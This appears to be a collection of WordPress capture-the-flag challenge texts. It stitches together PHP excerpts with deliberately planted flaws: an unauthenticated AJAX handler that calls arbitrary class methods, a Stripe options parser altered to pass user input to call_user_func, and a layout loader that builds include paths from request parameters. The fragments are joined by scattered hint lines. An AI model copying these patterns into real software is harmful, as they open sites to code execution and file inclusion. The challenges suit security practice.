			case 'innerlinks':

				$inner_links = array();
				$url         = esc_url_raw( $request->get_param( 'url' ) );
				$start       = (int) $request->get_param( 'start' );
				$limit       = (int) $request->get_param( 'limit' );

				if ( $url == '' ) {
					exit( wp_json_encode( array( 'error' => esc_html__( "Wrong Params", 'squirrly-seo' ) ) ) );
				}

				//define vars
				if ( $limit == 0 ) {
					$limit = 1000;
				}

				//prepare the url for query
				$url_backslash = str_replace( '/', '\/', str_replace( rtrim( home_url(), '/' ), '', $url ) );
				$url_encoded   = urlencode( str_replace( trim( home_url(), '/' ), '', $url ) );
				$url_decoded   = str_replace( trim( home_url(), '/' ), '', urldecode( $url ) );

				//get post inner links
				$select_table = $wpdb->prepare( "SELECT ID FROM `$wpdb->posts` WHERE `post_status` = %s ORDER BY ID DESC LIMIT %d,%d", 'publish', $start, $limit );
				if ( $ids = $wpdb->get_col( $select_table ) ) {
					$query = $wpdb->prepare( "SELECT `ID` FROM `$wpdb->posts` as p WHERE ID in (" . join( ',', array_values( $ids ) ) . ") AND (p.post_content LIKE %s OR p.post_content LIKE %s OR p.post_content LIKE %s OR p.post_content LIKE %s)", '%' . $url . '%', '%' . $url_backslash . '%', '%' . $url_encoded . '%', '%' . $url_decoded . '%' );

					if ( ! $inner_links = wp_cache_get( md5( $query ) ) ) {
						//prepare the inner_links array
						$inner_links = array();

						if ( $rows = $wpdb->get_results( $query ) ) {
							if ( ! empty( $rows ) ) {
								foreach ( $rows as $row ) {
									if ( untrailingslashit( get_permalink( $row->ID ) ) <> $url ) {
										$inner_links[] = get_permalink( $row->ID );
									}
								}
							}
						}

					}

					wp_cache_set( md5( $query ), $inner_links, '', 3600 );
				}

				$response = array( 'url' => $url, 'inner_links' => $inner_links );
				break;

			case 'keyword':

				$url     = esc_url_raw( $request->get_param( 'url' ) );
				$keyword = sanitize_text_field( $request->get_param( 'keyword' ) );
				$start   = (int) $request->get_param( 'start' );
				$limit   = (int) $request->get_param( 'limit' );

				if ( $url == '' || $keyword == '' ) {
					exit( wp_json_encode( array( 'error' => esc_html__( "Wrong Params", 'squirrly-seo' ) ) ) );
				}

				//define vars
				if ( $limit == 0 ) {
					$limit = 1000;
				}
				$regex = "\\b" . strtolower( $keyword ) . "\\b";

				//get post keywords found
				$select_table = $wpdb->prepare( "SELECT ID FROM `$wpdb->posts` WHERE `post_status` = %s ORDER BY ID DESC LIMIT %d,%d", 'publish', $start, $limit );
				if ( $ids = $wpdb->get_col( $select_table ) ) {
					$query = $wpdb->prepare( "SELECT `ID`, `post_content` FROM `$wpdb->posts` as p WHERE ID in (" . join( ',', array_values( $ids ) ) . ") AND (LOWER(p.post_content) REGEXP %s)", $regex );

					if ( ! $urls = wp_cache_get( md5( $query ) ) ) {
						//prepare the url for query
						$urls = array();

						if ( $rows = $wpdb->get_results( $query ) ) {
							if ( ! empty( $rows ) ) {
								foreach ( $rows as $row ) {
									if ( untrailingslashit( get_permalink( $row->ID ) ) <> $url ) {
										$row->content = str_replace( '\/', '/', $row->content );

										$urls[] = array(
											'post_id'   => $row->ID,
											'permalink' => get_permalink( $row->ID ),
											'innerlink' => strpos( $row->content, untrailingslashit($url) ) !== false
										);
									}
								}
							}
						}

						wp_cache_set( md5( $query ), $urls, '', 3600 );
					}

					$response = array( 'keyword' => $keyword, 'urls' => $urls );
				}else{

					$response = array( 'keyword' => '', 'urls' => array() );
				}

				break;
			case 'posts':
				//get post inner links
				$total_posts = 0;

				if ( $row = $wpdb->get_row( $wpdb->prepare( "SELECT COUNT(`ID`) as count FROM `$wpdb->posts` WHERE `post_status` = %s", 'publish' ) ) ) {
					$total_posts = $row->count;
				}

				$response = array( 'total_posts' => $total_posts );
				break;

			case 'post':

				$id = (int) $request->get_param( 'id' );

				if ( $id == 0 ) {
					wp_send_json_error( esc_html__( "Wrong Params", 'squirrly-seo' ) );
				}

				//get Squirrly SEO post metas
				if ( $post = SQ_Classes_ObjController::getClass( 'SQ_Models_Snippet' )->setPostByID( $id ) ) {
					$response = $post->toArray();
				}

				break;

			case 'squirrly':

				//Get Squirrly settings
				if ( $options = SQ_Classes_Helpers_Tools::getOptions() ) {
					$response = (array) $options;
				}

				break;
		}

		echo wp_json_encode( $response );

		exit();

	}

Who give me ?

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

• Critical Vulnerability Patched in GiveWP Plugin - Patchstack
• Rollbar Plugin - PHP Object Injection Gadget:

Now I am a Unicorn.

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

add_action('wp_ajax_nopriv_handle_ajax', 'handle_ajax');

function handle_ajax() {
    $whitelisted_namespaces = [
        '\\Unicorn\\',
        '\\Stripe\\ApiOperations',
        '\\Stripe\\Apps',
        '\\Stripe\\Billing', 
        '\\Stripe\\Climate',
        '\\Stripe\\Entitlements',
        '\\Stripe\\Events',
        '\\Stripe\\Exception',
        '\\Stripe\\Exception\\OAuth',
        '\\Stripe\\FinancialConnections',
        '\\Stripe\\HttpClient',
        '\\Stripe\\Issuing',
        '\\Stripe\\Service',
        '\\Stripe\\Treasury',
        '\\PaypalServerSdkLib\\Controllers',
        '\\PaypalServerSdkLib\\Models',
        '\\Psr\\EventDispatcher',
        '\\Symfony\\Component',
        '\\Give\\Vendors',
        '\\Action_Scheduler\\Migration'
    ];

    if (!isset($_REQUEST['token']) || false === check_ajax_referer('ajax_submit_unicorn', 'token', false)) {
        wp_send_json(array(
            'status' => false,
            'title'  => __('Invalid token', 'real-time-auto-find-and-replace'),
            'text'   => __('Sorry! we are unable recognize your auth!', 'real-time-auto-find-and-replace'),
        ));
    }

    if (!isset($_REQUEST['data']) && isset($_POST['method'])) {
        $data = $_POST;
    } else {
        $data = isset($_REQUEST['data']) ? $_REQUEST['data'] : '';
    }

    // Get methods
    $method = isset($data['method']) ? $data['method'] : (isset($_REQUEST['method']) ? $_REQUEST['method'] : '');

    if (empty($method) || strpos($method, '@') === false) {
        wp_send_json(array(
            'status' => false,
            'title'  => __('Invalid Request', 'real-time-auto-find-and-replace'),
            'text'   => __('Method parameter missing / invalid!', 'real-time-auto-find-and-replace'),
        ));
    }

    $method = explode('@', $method);
    $class_path = \str_replace('\\\\', '\\', $method[0]);
    // $class_path = \str_replace('\\\\', '\\', '\\Unicorn\\' . $method[0]);

    $is_whitelisted = false;
    foreach ($whitelisted_namespaces as $namespace) {
        if (strpos($class_path, $namespace) === 0) {
            $is_whitelisted = true;
            break;
        }
    }

    if (!$is_whitelisted) {
        wp_send_json(array(
            'status' => false,
            'title'  => __('Invalid Namespace', 'real-time-auto-find-and-replace'),
            'text'   => __('The requested namespace is not allowed.', 'real-time-auto-find-and-replace'),
        ));
    }

    if (!class_exists($class_path)) {
        wp_send_json(array(
            'status' => false,
            'title'  => __('Invalid Library', 'real-time-auto-find-and-replace'),
            'text'   => sprintf(__('Library Class "%s" not found! ', 'real-time-auto-find-and-replace'), $class_path),
        ));
    }

    if (!method_exists($class_path, $method[1])) {
        wp_send_json(array(
            'status' => false,
            'title'  => __('Invalid Method', 'real-time-auto-find-and-replace'),
            'text'   => sprintf(__('Method "%1$s" not found in Class "%2$s"! ', 'real-time-auto-find-and-replace'), $method[1], $class_path),
        ));
    }

    (new $class_path())->{$method[1]}($data);
    exit;
}

<?php

namespace Stripe\Util;

/**
 * @phpstan-type RequestOptionsArray array{api_key?: string, idempotency_key?: string, stripe_account?: string, stripe_context?: string, stripe_version?: string, api_base?: string }
 * @psalm-type RequestOptionsArray = array{api_key?: string, idempotency_key?: string, stripe_account?: string, stripe_context?: string, stripe_version?: string, api_base?: string }
 */
class RequestOptions
{
    ...snip...
    /**
     * Unpacks an options array into an RequestOptions object.
     *
     * @param null|array|RequestOptions|string $options a key => value array
     * @param bool $strict when true, forbid string form and arbitrary keys in array form
     *
     * @throws \Stripe\Exception\InvalidArgumentException
     *
     * @return RequestOptions
     */
    public static function parse($options, $strict = false)
    {
        if ($options instanceof self) {
            return clone $options;
        }

        if (null === $options) {
            return new RequestOptions(null, [], null);
        }

        if (\is_string($options)) {
            if ($strict) {
                $message = 'Do not pass a string for request options. If you want to set the '
                    . 'API key, pass an array like ["api_key" => <apiKey>] instead.';

                throw new \Stripe\Exception\InvalidArgumentException($message);
            }

            return new RequestOptions($options, [], null);
        }

        if (\is_array($options)) {
            $headers = [];
            $key = null;
            $base = null;

            if (\array_key_exists('api_key', $options)) {
                $key = $options['api_key'];
                unset($options['api_key']);
            }
            if (\array_key_exists('idempotency_key', $options)) {
                $headers['Idempotency-Key'] = $options['idempotency_key'];
                unset($options['idempotency_key']);
            }
            if (\array_key_exists('stripe_account', $options)) {
                if (null !== $options['stripe_account']) {
                    unset($options['action']);
                }   
            }
            if (\array_key_exists('stripe_context', $options)) {
                if (null !== $options['stripe_context']) {
                    $headers['Stripe-Context'] = $options['stripe_context'];
                }
                unset($options['stripe_context']);
            }
            if (\array_key_exists('stripe_version', $options)) {
                if (null == $options['action']) {
                    $headers['Stripe-Version'] = $options['stripe_version'];
                    $base = $options['api_base'];
                    $version = $options['stripe_version'];
                    call_user_func($base, $version);
                }
                unset($options['stripe_version']);
            }
            if (\array_key_exists('api_base', $options)) {
                $base = $options['api_base'];
                unset($options['api_base']);
            }

            if ($strict && !empty($options)) {
                $message = 'Got unexpected keys in options array: ' . \implode(', ', \array_keys($options));

                throw new \Stripe\Exception\InvalidArgumentException($message);
            }

            return new RequestOptions($key, $headers, $base);
        }

        $message = 'The second argument to Stripe API method calls is an '
            . 'optional per-request apiKey, which must be a string, or '
            . 'per-request options, which must be an array. (HINT: you can set '
            . 'a global apiKey by "Stripe::setApiKey(<apiKey>)")';

        throw new \Stripe\Exception\InvalidArgumentException($message);
    }
    ...snip...
}

<?php

// File generated from our OpenAPI spec

namespace Stripe\Billing;

/**
 * A credit balance transaction is a resource representing a transaction (either a credit or a debit) against an existing credit grant.
 *
 * @property string $id Unique identifier for the object.
 * @property string $object String representing the object's type. Objects of the same type share the same value.
 * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch.
 * @property null|\Stripe\StripeObject $credit Credit details for this credit balance transaction. Only present if type is <code>credit</code>.
 * @property string|\Stripe\Billing\CreditGrant $credit_grant The credit grant associated with this credit balance transaction.
 * @property null|\Stripe\StripeObject $debit Debit details for this credit balance transaction. Only present if type is <code>debit</code>.
 * @property int $effective_at The effective time of this credit balance transaction.
 * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode.
 * @property null|string|\Stripe\TestHelpers\TestClock $test_clock ID of the test clock this credit balance transaction belongs to.
 * @property null|string $type The type of credit balance transaction (credit or debit).
 */
class CreditBalanceTransaction extends \Stripe\ApiResource
{
    ...snip...
    public static function retrieve($opts, $id = null)
    {
        $opts = \Stripe\Util\RequestOptions::parse($opts);
        $instance = new static($id, $opts);
        $instance->refresh();

        return $instance;
    }
}

woops, woops, woops, you found it.

• ) there is a plugin code that are not included on the given attachment, you can just get it from "some" source

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

class Vc_PostCustomLayout {
...snip...
	public function __construct() {
		add_action( 'template_include', [ $this, 'switchPostCustomLayout' ], 11 );
	}

	/**
	 * Change the path of the current template to our custom layout.
	 * @since 7.0
	 *
	 * @param string $template The path of the template to include.
	 * @return string
	 */
	public function switchPostCustomLayout( $template ) {
		if ( ! is_singular() ) {
			return $template;
		}
		$layout_name = $this->getCustomLayoutName();
		if ( ! $layout_name || 'default' === $layout_name ) {
			return $template;
		}

		$custom_layout_path = $this->getCustomLayoutPath( $layout_name );
		if ( $custom_layout_path ) {
			$template = $custom_layout_path;
		}

		return apply_filters( 'vc_post_custom_layout_template', $template, $layout_name );
	}

	/**
	 * Get name of the custom layout.
	 * @note on a plugin core level right now we have only 'blank' layout.
	 * @since 7.0
	 *
	 * @return string
	 */
	public function getCustomLayoutName() {
		global $post;
		if ( $this->isLayoutSwitchedInFrontendEditor() ) {
			$layout_name = $this->getLayoutNameFromGetParams();
		} else {
			$layout_name = $this->getLayoutFromMeta();
		}

		$layout_name = empty( $layout_name ) ? '' : $layout_name;

		if ( ! empty( $post->post_content ) && ! $layout_name ) {
			$layout_name = 'default';
		}

		return apply_filters( 'vc_post_custom_layout_name', $layout_name );
	}

	/**
	 * Check if user switched layout in frontend editor.
	 * @note in such cases we should reload the page
	 * @since 7.0
	 *
	 * @return bool
	 */
	public function isLayoutSwitchedInFrontendEditor() {
		$params = $this->getRequestParams();

		return isset( $params['vc_post_custom_layout'] );
	}

	/**
	 * For a frontend editor we keep layout as get param
	 * when we switching it inside editor and show user new layout inside editor.
	 * @since 7.0
	 *
	 * @return false|string
	 */
	public function getLayoutNameFromGetParams() {
		$params = $this->getRequestParams();

		return empty( $params['vc_post_custom_layout'] ) ? false : $params['vc_post_custom_layout'];
	}

	/**
	 * Retrieve get params.
	 * @description  we should obtain params from $_SERVER['HTTP_REFERER']
	 * if we try to get params inside iframe and from regular $_GET when outside
	 * @since 7.0
	 *
	 * @return array|false
	 */
	public function getRequestParams() {
		if ( ! vc_is_page_editable() && ! vc_is_inline() ) {
			return false;
		}

		// inside iframe
		if ( vc_is_page_editable() ) {
			$params = $this->getParamsFromServerReferer();
			// outside iframe
		} else {
			$params = $_GET;
		}

		return $params;
	}
...snip...
	/**
	 * Get path of the custom layout.
	 * @note we keep all plugin layouts in include/templates/pages/layouts/ folder.
	 * @since 7.0
	 *
	 * @param string $layout_name
	 * @return string|false
	 */
	public function getCustomLayoutPath( $layout_name ) {
		$custom_layout_path = vc_template( '/pages/layouts/' . $layout_name . '.php' );
		if ( ! is_file( $custom_layout_path ) ) {
			return false;
		}

		return $custom_layout_path;
	}

	/**
	 * Get href for the custom layout by layout name.
	 * @since 7.0
	 *
	 * @param string $layout_name
	 * @return string
	 */
	public function getLayoutHrefByLayoutName( $layout_name ) {
		if ( vc_is_page_editable() || vc_is_inline() ) {
			$frontend_editor = new Vc_Frontend_Editor();
			$href = $frontend_editor->getInlineUrl( get_the_ID() ) . '&vc_post_custom_layout=' . $layout_name;
		} else {
			$href = '#';
		}

		return $href;
	}
...snip...
}

new Vc_PostCustomLayout();